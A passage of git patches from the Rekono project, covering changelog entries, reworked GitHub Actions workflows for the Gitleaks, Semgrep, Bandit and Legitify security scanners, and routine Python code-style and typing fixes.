+- Configure Defect-Dojo product type at Rekono project level (https://github.com/pablosnt/rekono/issues/222) +- Add Rekono project tags to Defect-Dojo products (https://github.com/pablosnt/rekono/issues/222) + +### Security + +- New target blacklist configurable by the administrators to prevent scans on Rekono and internal components (https://github.com/pablosnt/rekono/issues/222) +- New user-handled API tokens (https://github.com/pablosnt/rekono/issues/222) +- New configuration property to enable the encryption of sensitive data like Defect-Dojo API keys, Telegram tokens, or authentication credentials when stored in the database (https://github.com/pablosnt/rekono/issues/222) +- Close user sessions and unlink the Telegram bot when the user password changes (https://github.com/pablosnt/rekono/issues/222) +- Store hashed user One-Time Passwords with SHA-512 in the database (https://github.com/pablosnt/rekono/issues/222) + +### Fixed + +- [**BREAKING**] Upgrade required `Python` version to `3.11` (https://github.com/pablosnt/rekono/issues/222) +- [**BREAKING**] Remove deprecated settings (https://github.com/pablosnt/rekono/issues/222) +- Send emails using a new thread instead of the `emails-queue` (https://github.com/pablosnt/rekono/issues/222) +- Fix the creation of multiple engagements in Defect-Dojo to import scans from the same target (https://github.com/pablosnt/rekono/issues/222) +- Remove duplicated API field to sort the data (https://github.com/pablosnt/rekono/issues/222) +- Upgrade `Django` version to `5.0` (https://github.com/pablosnt/rekono/issues/222) +- Upgrade `djangorestframework` version to `3.14.0` (https://github.com/pablosnt/rekono/issues/222) +- Upgrade `djangorestframework-simplejwt` version to `5.3.1` (https://github.com/pablosnt/rekono/issues/222) +- Upgrade `django-filter` version to `23.5` (https://github.com/pablosnt/rekono/issues/222) +- Upgrade `django-rq` version to `2.10.1` (https://github.com/pablosnt/rekono/issues/222) +- Upgrade `django-taggit` version to `5.0.1` (https://github.com/pablosnt/rekono/issues/222) +- Upgrade `drf-spectacular` version to `0.27.0` (https://github.com/pablosnt/rekono/issues/222) +- Upgrade `pycryptodome` version to `3.19.0` (https://github.com/pablosnt/rekono/issues/222) +- Upgrade `psycopg2-binary` version to `2.9.9` (https://github.com/pablosnt/rekono/issues/222) +- Upgrade `pyjwt` version to `2.8.0` (https://github.com/pablosnt/rekono/issues/222) +- Upgrade `python-magic` version to `0.4.27` (https://github.com/pablosnt/rekono/issues/222) + + ## [1.6.1] - 2023-05-31 ### Security diff --git a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py index 4f3a27ad2..b36cdb752 100644 --- a/src/backend/findings/framework/models.py +++ b/src/backend/findings/framework/models.py @@ -13,7 +13,7 @@ class Finding(BaseInput): related_name="%(class)s", ) first_seen = models.DateTimeField(auto_now_add=True) - last_seen = models.DateTimeField(auto_now_add=True) + last_seen = models.DateTimeField(auto_now=True) triage_status = models.TextField( max_length=15, choices=TriageStatus.choices, default=TriageStatus.UNTRIAGED ) diff --git a/src/backend/tools/parsers/base.py b/src/backend/tools/parsers/base.py index 2421000bf..bc98a0055 100644 --- a/src/backend/tools/parsers/base.py +++ b/src/backend/tools/parsers/base.py @@ -43,7 +43,6 @@ def create_finding(self, finding_type: Finding, **fields: Any) -> Finding: ) ): fields[finding_type_used.__name__.lower()] = finding_used - fields["last_seen"] = timezone.now() unique_finding = finding_type.objects.filter( **{ **{f: fields.get(f) for f in finding_type.unique_fields}, From 2d8033f2ad086d31de46c4e3fec4cf24a3c6099d Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 27 Dec 2023 19:33:25 +0100 Subject: [PATCH 119/141] Add Bandit scans to SAST workflow --- .github/workflows/desktop.yml | 2 +- .github/workflows/security-sast.yml | 77 ++++++++++++++++++++------ .github/workflows/security-secrets.yml | 22 -------- 3 files changed, 60 insertions(+), 41 deletions(-) delete mode 100644 .github/workflows/security-secrets.yml diff --git a/.github/workflows/desktop.yml b/.github/workflows/desktop.yml index ae5b3f6dc..408646ccd 100644 --- a/.github/workflows/desktop.yml +++ b/.github/workflows/desktop.yml @@ -1,4 +1,4 @@ -name: Desktop app +name: Desktop on: release: types: [published] diff --git a/.github/workflows/security-sast.yml b/.github/workflows/security-sast.yml index c1fd3d98d..f0ddf1d6a 100644 --- a/.github/workflows/security-sast.yml +++ b/.github/workflows/security-sast.yml @@ -2,38 +2,79 @@ name: SAST on: workflow_dispatch: pull_request: - paths: - - '.github/workflows/**' - - 'src/**' jobs: - semgrep: - name: Semgrep + gitleaks: + name: GitLeaks runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v3 with: fetch-depth: 0 - + + - uses: gitleaks/gitleaks-action@4df650038e2eb9f7329218df929c2780866e61a3 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_NOTIFY_USER_LIST: "@pablosnt" + GITLEAKS_ENABLE_COMMENTS: true + GITLEAKS_ENABLE_UPLOAD_ARTIFACT: true + GITLEAKS_ENABLE_SUMMARY: true + + sast: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + include: + - name: Semgrep Backend + tool: semgrep + path: src/backend + report: semgrep-backend.json + arguments: --config=auto --error --json + - name: Semgrep CI/CD + tool: semgrep + path: .github/workflows + report: semgrep-cicd.json + arguments: --config=auto --error --json + - name: Bandit + tool: bandit + path: src/backend + report: bandit.json + arguments: -r -f json + name: ${{ matrix.name }} + steps: + - name: Checkout + uses: actions/checkout@v3 + with: + fetch-depth: 0 + - name: Setup Python 3 uses: actions/setup-python@v4 with: python-version: 3.11 - - - name: Install Semgrep - run: pip install semgrep - - name: Scan code - run: semgrep --config=auto --error --json -o semgrep_code.json src/ + - uses: dorny/paths-filter@3c49e64ca26115121162fb767bc6af9e8d059f1a + id: changes + name: Path filter + with: + filters: | + path: + - '${{ matrix.path }}/**' + + - name: Installation + if: ${{ steps.changes.outputs.path == 'true' || github.event_name != 'pull_request' }} + run: pip install ${{ matrix.tool }} - - name: Scan workflows - run: semgrep --config=auto --error --json -o semgrep_cicd.json .github/workflows/ + - name: Scan + if: ${{ steps.changes.outputs.path == 'true' || github.event_name != 'pull_request' }} + run: ${{ matrix.tool }} ${{ matrix.arguments }} -o ${{ matrix.report }} ${{ matrix.path }} - - name: Upload Semgrep report as GitHub artifact - if: ${{ always() }} + - name: Upload report as GitHub artifact + if: ${{ !cancelled() && (steps.changes.outputs.path == 'true' || github.event_name != 'pull_request') }} uses: actions/upload-artifact@v3 with: - name: Semgrep - path: semgrep_*.json - if-no-files-found: warn \ No newline at end of file + name: ${{ matrix.name }} + path: ${{ matrix.report }} + if-no-files-found: warn + \ No newline at end of file diff --git a/.github/workflows/security-secrets.yml b/.github/workflows/security-secrets.yml deleted file mode 100644 index 10681a7d7..000000000 --- a/.github/workflows/security-secrets.yml +++ /dev/null @@ -1,22 +0,0 @@ -name: Secrets -on: - workflow_dispatch: - pull_request: - -jobs: - gitleaks: - name: GitLeaks - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 - with: - fetch-depth: 0 - - - uses: gitleaks/gitleaks-action@4df650038e2eb9f7329218df929c2780866e61a3 - env: - GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} - GITLEAKS_NOTIFY_USER_LIST: "@pablosnt" - GITLEAKS_ENABLE_COMMENTS: true - GITLEAKS_ENABLE_UPLOAD_ARTIFACT: true - GITLEAKS_ENABLE_SUMMARY: true From 0848c46f710bba992dab7b6d5d40f7a942efc7db Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 27 Dec 2023 19:36:47 +0100 Subject: [PATCH 120/141] Fix artifact upload --- .github/workflows/security-sast.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/security-sast.yml b/.github/workflows/security-sast.yml index f0ddf1d6a..d516ec6d6 100644 --- a/.github/workflows/security-sast.yml +++ b/.github/workflows/security-sast.yml @@ -74,7 +74,7 @@ jobs: if: ${{ !cancelled() && (steps.changes.outputs.path == 'true' || github.event_name != 'pull_request') }} uses: actions/upload-artifact@v3 with: - name: ${{ matrix.name }} + name: ${{ matrix.tool }} path: ${{ matrix.report }} if-no-files-found: warn \ No newline at end of file From c1b4ccdf35b28516d45f3656d5a14956dd99b8a7 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 27 Dec 2023 19:40:53 +0100 Subject: [PATCH 121/141] Union of backend and frontend scans in the same workflow and addition of Flake8 and isort scans for the backend --- .github/workflows/code-style-backend.yml | 47 -------------- .github/workflows/code-style-frontend.yml | 24 ------- .github/workflows/code-style.yml | 76 +++++++++++++++++++++++ .github/workflows/security-ssc.yml | 17 +++++ README.md | 7 +-- src/backend/.mypy.ini | 5 -- src/backend/requirements-dev.txt | 2 + 7 files changed, 97 insertions(+), 81 deletions(-) delete mode 100644 .github/workflows/code-style-backend.yml delete mode 100644 .github/workflows/code-style-frontend.yml create mode 100644 .github/workflows/code-style.yml create mode 100644 .github/workflows/security-ssc.yml delete mode 100644 src/backend/.mypy.ini diff --git a/.github/workflows/code-style-backend.yml b/.github/workflows/code-style-backend.yml deleted file mode 100644 index fe5b706a7..000000000 --- a/.github/workflows/code-style-backend.yml +++ /dev/null @@ -1,47 +0,0 @@ -name: Backend style -on: - workflow_dispatch: - pull_request: - paths: - - 'src/backend/**' - -jobs: - black: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 - with: - fetch-depth: 0 - - - uses: actions/setup-python@v4 - with: - python-version: '3.11' - - - name: Install Python dependencies - run: | - python -m pip install -U pip - python -m pip install -r src/backend/requirements-dev.txt - - - name: Black check - run: python -m black --check src/backend/ - - mypy: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 - with: - fetch-depth: 0 - - - uses: actions/setup-python@v4 - with: - python-version: '3.11' - - - name: Install Python dependencies - run: | - python -m pip install -U pip - python -m pip install -r src/backend/requirements-dev.txt - - - name: MyPy check - run: mypy --namespace-packages --package rekono --install-types --non-interactive diff --git a/.github/workflows/code-style-frontend.yml b/.github/workflows/code-style-frontend.yml deleted file mode 100644 index f7d94d5ce..000000000 --- a/.github/workflows/code-style-frontend.yml +++ /dev/null @@ -1,24 +0,0 @@ -name: Frontend style -on: - workflow_dispatch: - pull_request: - paths: - - 'src/frontend/**' - -jobs: - eslint: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 - with: - fetch-depth: 0 - - - name: Install ESLint - working-directory: src/frontend - run: | - npm install . - npm install -g eslint - - - name: ESLint check - run: eslint src/frontend/ --ext .js,.jsx,.ts,.tsx diff --git a/.github/workflows/code-style.yml b/.github/workflows/code-style.yml new file mode 100644 index 000000000..e9f318f58 --- /dev/null +++ b/.github/workflows/code-style.yml @@ -0,0 +1,76 @@ +name: Code style +on: + workflow_dispatch: + pull_request: + +jobs: + backend: + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + include: + - tool: black + arguments: --check src/backend/ + working_directory: . + - tool: isort + arguments: src/backend/ --check-only + working_directory: . + - tool: mypy + arguments: --namespace-packages --package backend --install-types --non-interactive + working_directory: ./src + - tool: flake8 + arguments: --ignore=E501 src/backend + working_directory: . + name: ${{ matrix.tool }} + steps: + - name: Checkout + uses: actions/checkout@v3 + with: + fetch-depth: 0 + + - uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install Python dependencies + run: | + python -m pip install -U pip + python -m pip install -r src/backend/requirements-dev.txt + + - uses: dorny/paths-filter@3c49e64ca26115121162fb767bc6af9e8d059f1a + id: changes + with: + filters: | + backend: + - 'src/backend/**' + + - name: Check + working-directory: ${{ matrix.working_directory }} + if: ${{ steps.changes.outputs.backend == 'true' || github.event_name != 'pull_request' }} + run: ${{ matrix.tool }} ${{ matrix.arguments }} + + frontend: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v3 + with: + fetch-depth: 0 + + - name: Install ESLint + working-directory: src/frontend + run: | + npm install . + npm install -g eslint + + - uses: dorny/paths-filter@3c49e64ca26115121162fb767bc6af9e8d059f1a + id: changes + with: + filters: | + frontend: + - 'src/frontend/**' + + - name: ESLint check + if: ${{ steps.changes.outputs.frontend == 'true' || github.event_name != 'pull_request' }} + run: eslint src/frontend/ --ext .js,.jsx,.ts,.tsx \ No newline at end of file diff --git a/.github/workflows/security-ssc.yml b/.github/workflows/security-ssc.yml new file mode 100644 index 000000000..24b15b039 --- /dev/null +++ b/.github/workflows/security-ssc.yml @@ -0,0 +1,17 @@ +name: Software Supply Chain +on: + workflow_dispatch: + schedule: + - cron: '0 0 * * *' + pull_request: + +jobs: + legitify: + name: Legitify + runs-on: ubuntu-latest + environment: github + steps: + - name: Legitify + uses: Legit-Labs/legitify@d64d18810d9093458f11731c3a0a36d7e573187e + with: + github_token: ${{ secrets.ADMIN_PAT }} diff --git a/README.md b/README.md index d678a5088..faf78235d 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@

- - + + @@ -11,9 +11,6 @@ - - - diff --git a/src/backend/.mypy.ini b/src/backend/.mypy.ini deleted file mode 100644 index 4087510b5..000000000 --- a/src/backend/.mypy.ini +++ /dev/null @@ -1,5 +0,0 @@ -[mypy] -files = ./** -; Mypy fails due to some external imports without hints -ignore_missing_imports = True -exclude = (.*/migrations/.*|venv/.*) \ No newline at end of file diff --git a/src/backend/requirements-dev.txt b/src/backend/requirements-dev.txt index 029f99739..219ea071b 100644 --- a/src/backend/requirements-dev.txt +++ b/src/backend/requirements-dev.txt @@ -1,4 +1,6 @@ -r requirements.txt black==23.12.1 coverage==7.3.4 +flake8==6.1.0 +isort==5.13.2 mypy==1.8.0 \ No newline at end of file From 8732db44a94adb745a0c3bb0c66f7da6982a426a Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 27 Dec 2023 19:48:06 +0100 Subject: [PATCH 122/141] Improve legitify scans --- .github/workflows/security-ssc.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/workflows/security-ssc.yml b/.github/workflows/security-ssc.yml index 24b15b039..5947bf79e 100644 --- a/.github/workflows/security-ssc.yml +++ b/.github/workflows/security-ssc.yml @@ -15,3 +15,5 @@ jobs: uses: Legit-Labs/legitify@d64d18810d9093458f11731c3a0a36d7e573187e with: github_token: ${{ secrets.ADMIN_PAT }} + analyze_self_only: true + artifact_name: legitify From dd395f505011e99e1cd9e4561694683f0b1bdb0a Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Sat, 30 Dec 2023 03:40:56 +0100 Subject: [PATCH 123/141] Fix issues detected by CI/CD tools (#263) * Fix code style issues * Remove isort check as imports are handled by black * Ignore false positives detected by Semgrep, Bandit and GitLeaks * Fix MyPy issues * Fix unit tests * Ignore missing imports in MyPy * Fix import issues reported by flake8 * Fix import * Fix unit tests * Fix typing * Fix typing * Fix typing * Try to fix unit tests * Ignore typing issue * Use semgrep 1.52.0 in CI/CD * Fix Defect-Dojo test * Fix unit tests * Fix unit tests --- .github/workflows/code-style.yml | 7 +--- .github/workflows/security-sast.yml | 11 ++++- .gitleaksignore | 21 ++++++++++ src/backend/api_tokens/models.py | 6 ++- src/backend/authentications/models.py | 2 +- src/backend/authentications/serializers.py | 2 +- src/backend/authentications/urls.py | 5 +-- src/backend/executions/queues.py | 6 +-- src/backend/executions/urls.py | 2 +- src/backend/findings/admin.py | 12 +++++- src/backend/findings/framework/models.py | 8 ++-- src/backend/findings/queues.py | 4 +- src/backend/findings/urls.py | 30 ++++++++------ src/backend/framework/apps.py | 21 +++++----- src/backend/framework/fields.py | 8 ++-- src/backend/framework/models.py | 25 +++++++----- src/backend/framework/platforms.py | 6 +-- src/backend/framework/queues.py | 6 +-- src/backend/input_types/models.py | 6 +-- src/backend/parameters/models.py | 2 +- src/backend/parameters/urls.py | 7 ++-- .../platforms/defect_dojo/integrations.py | 15 +++---- src/backend/platforms/defect_dojo/models.py | 2 +- .../platforms/defect_dojo/serializers.py | 14 +++---- src/backend/platforms/defect_dojo/views.py | 2 +- src/backend/platforms/mail/models.py | 2 +- src/backend/platforms/mail/notifications.py | 19 ++++++--- src/backend/platforms/mail/serializers.py | 2 +- src/backend/platforms/nvd_nist.py | 2 +- src/backend/platforms/telegram_app/bot/bot.py | 15 ++++--- .../platforms/telegram_app/bot/commands.py | 6 +-- .../telegram_app/bot/conversations.py | 4 +- .../platforms/telegram_app/bot/framework.py | 15 ++++--- .../bot/mixins/authentications.py | 2 +- .../telegram_app/bot/mixins/framework.py | 12 +++--- .../telegram_app/bot/mixins/parameters.py | 4 +- .../telegram_app/bot/mixins/targets.py | 4 +- .../telegram_app/bot/mixins/wordlists.py | 3 +- .../platforms/telegram_app/framework.py | 9 +++-- .../telegram_app/management/__init__.py | 2 +- .../management/commands/__init__.py | 2 +- src/backend/platforms/telegram_app/models.py | 7 +++- .../notifications/notifications.py | 4 +- .../platforms/telegram_app/serializers.py | 2 +- src/backend/processes/models.py | 2 +- src/backend/processes/urls.py | 4 +- src/backend/projects/models.py | 2 +- src/backend/projects/views.py | 1 - src/backend/rekono/settings.py | 5 +-- src/backend/requirements-dev.txt | 1 - src/backend/security/authentication/api.py | 1 - .../security/authentication/serializers.py | 2 +- src/backend/security/authentication/views.py | 2 +- .../security/authorization/permissions.py | 2 +- src/backend/security/file_handler.py | 6 +-- src/backend/security/management/__init__.py | 2 +- .../security/management/commands/__init__.py | 2 +- .../management/commands/encryption_key.py | 4 +- src/backend/security/middleware.py | 5 ++- src/backend/security/validators/__init__.py | 0 .../{ => validators}/input_validator.py | 16 ++++---- .../{ => validators}/target_validator.py | 23 ++++++----- src/backend/target_blacklist/models.py | 2 +- src/backend/target_ports/models.py | 2 +- src/backend/targets/enums.py | 12 +++--- src/backend/targets/models.py | 6 +-- src/backend/tasks/__init__.py | 1 - src/backend/tasks/models.py | 5 ++- src/backend/tasks/queues.py | 32 ++++++++------- src/backend/tasks/serializers.py | 7 ++-- src/backend/tasks/urls.py | 2 +- src/backend/tests/cases.py | 26 ++++++------ src/backend/tests/framework.py | 9 +++-- .../platforms/defect_dojo/test_entities.py | 28 ++++++++----- .../defect_dojo/test_integrations.py | 3 +- .../platforms/defect_dojo/test_settings.py | 4 +- src/backend/tests/platforms/test_nvd_nist.py | 6 +-- src/backend/tests/platforms/test_smtp.py | 4 +- src/backend/tests/test_parameters.py | 10 ++--- src/backend/tests/test_users.py | 12 +++--- src/backend/tools/admin.py | 2 +- src/backend/tools/executors/base.py | 8 ++-- src/backend/tools/executors/gitleaks.py | 9 +++-- src/backend/tools/models.py | 9 +++-- src/backend/tools/parsers/base.py | 5 +-- src/backend/tools/parsers/joomscan.py | 9 +++-- src/backend/tools/parsers/nmap.py | 40 +++++++++++++------ src/backend/tools/parsers/ssh_audit.py | 5 ++- src/backend/tools/parsers/sslscan.py | 2 +- src/backend/tools/urls.py | 4 +- src/backend/tools/views.py | 2 - src/backend/users/admin.py | 3 ++ src/backend/users/models.py | 7 +++- src/backend/wordlists/admin.py | 2 +- src/backend/wordlists/models.py | 2 +- src/backend/wordlists/serializers.py | 1 - src/backend/wordlists/views.py | 3 +- 97 files changed, 415 insertions(+), 295 deletions(-) create mode 100644 src/backend/security/validators/__init__.py rename src/backend/security/{ => validators}/input_validator.py (90%) rename src/backend/security/{ => validators}/target_validator.py (73%) diff --git a/.github/workflows/code-style.yml b/.github/workflows/code-style.yml index e9f318f58..b5766330f 100644 --- a/.github/workflows/code-style.yml +++ b/.github/workflows/code-style.yml @@ -13,14 +13,11 @@ jobs: - tool: black arguments: --check src/backend/ working_directory: . - - tool: isort - arguments: src/backend/ --check-only - working_directory: . - tool: mypy - arguments: --namespace-packages --package backend --install-types --non-interactive + arguments: --namespace-packages --package backend --install-types --non-interactive --ignore-missing-imports --exclude migrations/ working_directory: ./src - tool: flake8 - arguments: --ignore=E501 src/backend + arguments: --ignore=E203,E501,W503,W605 src/backend working_directory: . name: ${{ matrix.tool }} steps: diff --git a/.github/workflows/security-sast.yml b/.github/workflows/security-sast.yml index d516ec6d6..df36f3b8f 100644 --- a/.github/workflows/security-sast.yml +++ b/.github/workflows/security-sast.yml @@ -29,19 +29,22 @@ jobs: include: - name: Semgrep Backend tool: semgrep + version: 1.52.0 path: src/backend report: semgrep-backend.json arguments: --config=auto --error --json - name: Semgrep CI/CD tool: semgrep + version: 1.52.0 path: .github/workflows report: semgrep-cicd.json arguments: --config=auto --error --json - name: Bandit tool: bandit + version: latest path: src/backend report: bandit.json - arguments: -r -f json + arguments: -r --skip=B105,B106 -f json name: ${{ matrix.name }} steps: - name: Checkout @@ -63,9 +66,13 @@ jobs: - '${{ matrix.path }}/**' - name: Installation - if: ${{ steps.changes.outputs.path == 'true' || github.event_name != 'pull_request' }} + if: ${{ matrix.version == 'latest' && (steps.changes.outputs.path == 'true' || github.event_name != 'pull_request') }} run: pip install ${{ matrix.tool }} + - name: Installation + if: ${{ matrix.version != 'latest' && (steps.changes.outputs.path == 'true' || github.event_name != 'pull_request') }} + run: pip install ${{ matrix.tool }}==${{ matrix.version }} + - name: Scan if: ${{ steps.changes.outputs.path == 'true' || github.event_name != 'pull_request' }} run: ${{ matrix.tool }} ${{ matrix.arguments }} -o ${{ matrix.report }} ${{ matrix.path }} diff --git a/.gitleaksignore b/.gitleaksignore index e702cf0be..c1ab8b00e 100644 --- a/.gitleaksignore +++ b/.gitleaksignore @@ -155,3 +155,24 @@ f283ebfce79617120c34a1248e31fdd22633ff4d:.secrets.baseline:generic-api-key:137 16bad9469802833090e9d5311d6e643c351f5dee:.secrets.baseline:generic-api-key:323 20de57bd391a30d6b36751b51cb870072014ee99:.secrets.baseline:generic-api-key:64 20de57bd391a30d6b36751b51cb870072014ee99:.secrets.baseline:generic-api-key:71 +26787d6d60ca0b75f460c7fa56b78a08392e3738:src/backend/tests/test_users.py:hashicorp-tf-password:25 +26787d6d60ca0b75f460c7fa56b78a08392e3738:src/backend/tests/test_users.py:hashicorp-tf-password:26 +26787d6d60ca0b75f460c7fa56b78a08392e3738:src/backend/tests/test_users.py:hashicorp-tf-password:27 +26787d6d60ca0b75f460c7fa56b78a08392e3738:src/backend/tests/test_users.py:hashicorp-tf-password:28 +b91d7845d1ee485b628add9afc7a11aeff1b5ebc:src/backend/tests/test_users.py:hashicorp-tf-password:23 +b91d7845d1ee485b628add9afc7a11aeff1b5ebc:src/backend/tests/test_users.py:hashicorp-tf-password:24 +b91d7845d1ee485b628add9afc7a11aeff1b5ebc:src/backend/tests/test_users.py:hashicorp-tf-password:25 +b91d7845d1ee485b628add9afc7a11aeff1b5ebc:src/backend/tests/test_users.py:hashicorp-tf-password:26 +76aefefc1177ee4ce8846c45c02177cb7a76ba7a:src/backend/tests/data/reports/gitleaks/leaky-repo.json:private-key:98 +76aefefc1177ee4ce8846c45c02177cb7a76ba7a:src/backend/tests/data/reports/gitleaks/leaky-repo.json:generic-api-key:9 +76aefefc1177ee4ce8846c45c02177cb7a76ba7a:src/backend/tests/data/reports/gitleaks/leaky-repo.json:generic-api-key:44 +76aefefc1177ee4ce8846c45c02177cb7a76ba7a:src/backend/tests/data/reports/gitleaks/leaky-repo.json:generic-api-key:45 +76aefefc1177ee4ce8846c45c02177cb7a76ba7a:src/backend/tests/data/reports/gitleaks/leaky-repo.json:generic-api-key:63 +76aefefc1177ee4ce8846c45c02177cb7a76ba7a:src/backend/tests/data/reports/gitleaks/leaky-repo.json:generic-api-key:81 +76aefefc1177ee4ce8846c45c02177cb7a76ba7a:src/backend/tests/data/reports/nuclei/tech_and_vulns.json:generic-api-key:11 +76aefefc1177ee4ce8846c45c02177cb7a76ba7a:src/backend/tests/parsers/test_gitleaks.py:private-key:44 +76aefefc1177ee4ce8846c45c02177cb7a76ba7a:src/backend/tests/parsers/test_gitleaks.py:generic-api-key:14 +76aefefc1177ee4ce8846c45c02177cb7a76ba7a:src/backend/tests/parsers/test_gitleaks.py:generic-api-key:34 +76aefefc1177ee4ce8846c45c02177cb7a76ba7a:src/backend/tests/parsers/test_gitleaks.py:generic-api-key:39 +7c6c7b005ae8815e053f17523d8dc87256af9d2a:config.yaml:generic-api-key:18 +80a20bf5f24f9d511a3480315e301c19da7eca3e:src/backend/findings/enums.py:hashicorp-tf-password:21 \ No newline at end of file diff --git a/src/backend/api_tokens/models.py b/src/backend/api_tokens/models.py index 2f99b45d1..305c91333 100644 --- a/src/backend/api_tokens/models.py +++ b/src/backend/api_tokens/models.py @@ -2,7 +2,11 @@ from framework.models import BaseModel from rekono.settings import AUTH_USER_MODEL from rest_framework.authtoken.models import Token -from security.input_validator import FutureDatetimeValidator, Regex, Validator +from security.validators.input_validator import ( + FutureDatetimeValidator, + Regex, + Validator, +) class ApiToken(Token, BaseModel): diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index 0ae807b35..d7fec3d52 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -5,7 +5,7 @@ from django.db import models from framework.enums import InputKeyword from framework.models import BaseEncrypted, BaseInput -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator from target_ports.models import TargetPort # Create your models here. diff --git a/src/backend/authentications/serializers.py b/src/backend/authentications/serializers.py index b50785299..502772541 100644 --- a/src/backend/authentications/serializers.py +++ b/src/backend/authentications/serializers.py @@ -1,7 +1,7 @@ from authentications.models import Authentication from framework.fields import ProtectedSecretField from rest_framework.serializers import ModelSerializer -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator class AuthenticationSerializer(ModelSerializer): diff --git a/src/backend/authentications/urls.py b/src/backend/authentications/urls.py index a33ad4ef0..922dae1bc 100644 --- a/src/backend/authentications/urls.py +++ b/src/backend/authentications/urls.py @@ -1,8 +1,7 @@ -from rest_framework.routers import SimpleRouter - from authentications.views import AuthenticationViewSet +from rest_framework.routers import SimpleRouter router = SimpleRouter() -router.register('authentications', AuthenticationViewSet) +router.register("authentications", AuthenticationViewSet) urlpatterns = router.urls diff --git a/src/backend/executions/queues.py b/src/backend/executions/queues.py index 3f0a1f11f..2076168b9 100644 --- a/src/backend/executions/queues.py +++ b/src/backend/executions/queues.py @@ -14,7 +14,6 @@ from rq.registry import DeferredJobRegistry from target_ports.models import TargetPort from tools.executors.base import BaseExecutor -from tools.models import Input, Tool from tools.parsers.base import BaseParser from wordlists.models import Wordlist @@ -75,7 +74,7 @@ def consume( execution ) current_job = rq.get_current_job() - if not findings and current_job._dependency_ids: + if not findings and current_job and current_job._dependency_ids: ( findings, target_ports, @@ -88,6 +87,7 @@ def consume( input_vulnerabilities, input_technologies, wordlists, + current_job, ).values() executor.execute( findings, target_ports, input_vulnerabilities, input_technologies, wordlists @@ -115,7 +115,7 @@ def _get_findings_from_dependencies( if dependency and dependency.result: findings.extend(dependency.result[1]) if not findings: - return findings + return {} executions = [ e for e in ExecutionsQueue._calculate_executions( diff --git a/src/backend/executions/urls.py b/src/backend/executions/urls.py index c90cca486..eba2adec4 100644 --- a/src/backend/executions/urls.py +++ b/src/backend/executions/urls.py @@ -4,6 +4,6 @@ # Register your views here. router = SimpleRouter() -router.register('executions', ExecutionViewSet) +router.register("executions", ExecutionViewSet) urlpatterns = router.urls diff --git a/src/backend/findings/admin.py b/src/backend/findings/admin.py index 90f0056db..53f4cdca3 100644 --- a/src/backend/findings/admin.py +++ b/src/backend/findings/admin.py @@ -1,6 +1,14 @@ from django.contrib import admin -from findings.models import (OSINT, Credential, Path, Port, Exploit, - Host, Technology, Vulnerability) +from findings.models import ( + OSINT, + Credential, + Exploit, + Host, + Path, + Port, + Technology, + Vulnerability, +) # Register your models here. diff --git a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py index b36cdb752..f93900489 100644 --- a/src/backend/findings/framework/models.py +++ b/src/backend/findings/framework/models.py @@ -1,10 +1,10 @@ -from typing import Any, Dict +from typing import Any, Dict, List from django.db import models from executions.models import Execution from findings.enums import TriageStatus from framework.models import BaseInput -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator class Finding(BaseInput): @@ -21,7 +21,7 @@ class Finding(BaseInput): max_length=300, validators=[Validator(Regex.TEXT.value, code="triage_comment")] ) defect_dojo_id = models.IntegerField(blank=True, null=True) - unique_fields = [] + unique_fields: List[str] = [] class Meta: abstract = True @@ -34,4 +34,4 @@ def get_project_field(cls) -> str: return "executions__task__target__project" def defect_dojo(self) -> Dict[str, Any]: - pass # pragma: no cover + return {} # pragma: no cover diff --git a/src/backend/findings/queues.py b/src/backend/findings/queues.py index c46b025af..534e1db13 100644 --- a/src/backend/findings/queues.py +++ b/src/backend/findings/queues.py @@ -1,5 +1,5 @@ import logging -from typing import Any, List +from typing import List from django_rq import job from executions.models import Execution @@ -26,7 +26,7 @@ def enqueue(self, execution: Execution, findings: List[Finding]) -> Job: @staticmethod @job("findings-queue") - def consume(execution: Execution, findings: List[Finding]) -> List[Finding]: + def consume(execution: Execution, findings: List[Finding]) -> None: if findings: for platform in [NvdNist, DefectDojo, SMTP, Telegram]: platform().process_findings(execution, findings) diff --git a/src/backend/findings/urls.py b/src/backend/findings/urls.py index f1017ffde..f4aa78938 100644 --- a/src/backend/findings/urls.py +++ b/src/backend/findings/urls.py @@ -1,19 +1,25 @@ -from findings.views import (CredentialViewSet, PathViewSet, - PortViewSet, ExploitViewSet, HostViewSet, - OSINTViewSet, TechnologyViewSet, - VulnerabilityViewSet) +from findings.views import ( + CredentialViewSet, + ExploitViewSet, + HostViewSet, + OSINTViewSet, + PathViewSet, + PortViewSet, + TechnologyViewSet, + VulnerabilityViewSet, +) from rest_framework.routers import SimpleRouter # Register your views here. router = SimpleRouter() -router.register('osint', OSINTViewSet) -router.register('hosts', HostViewSet) -router.register('ports', PortViewSet) -router.register('paths', PathViewSet) -router.register('technologies', TechnologyViewSet) -router.register('vulnerabilities', VulnerabilityViewSet) -router.register('credentials', CredentialViewSet) -router.register('exploits', ExploitViewSet) +router.register("osint", OSINTViewSet) +router.register("hosts", HostViewSet) 